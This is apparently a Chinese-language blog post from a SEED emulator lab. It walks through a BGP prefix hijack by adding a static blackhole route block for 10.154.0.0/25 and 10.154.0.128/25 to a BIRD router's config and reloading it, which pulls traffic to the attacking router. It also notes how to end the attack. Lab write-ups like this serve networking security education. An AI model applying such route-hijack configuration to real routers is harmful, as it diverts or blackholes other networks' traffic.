seed emulator 环境下对网络拓扑进行bgp攻击

本文详细描述了如何通过调整Bird路由器配置,利用ICMP检查路径一致性,实现对特定网络的BGP攻击,将流量引导至攻击路由器,并介绍了停止攻击的方法。涉及的步骤包括配置静态路由、添加攻击策略和重新配置BIRD。
摘要由CSDN通过智能技术生成

正常路径:

最左结点 ping 10.154.0.71(最右节点)
filter写icmp,如果显示来去路径则不一致,再添上&&dst = 10.154.0.71
在这里插入图片描述
选取任意其他连通的router(注意不是主机,只有router才有bird)进行bgp攻击,修改conf文件

cd /etc
cd bird
vi bird.conf

在最末尾加上这个
在这里插入图片描述

protocol static hijacks{
    ipv4{
       table t_bgp;
    };
    route 10.154.0.0/25 blackhole { bgp_large_community.add(LOCAL_COMM);};
    route 10.154.0.128/25 blackhole { bgp_large_community.add(LOCAL_COMM);};
}
root@bc8e1b39887f /etc/bird # birdc configure
BIRD 2.0.7 ready.
Reading configuration from /etc/bird/bird.conf
Reconfigured

然后流量就会被导入到攻击router上,攻击成功。

如果想要结束攻击,除了修改configure,也可以直接disable 攻击router与as的连接。
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值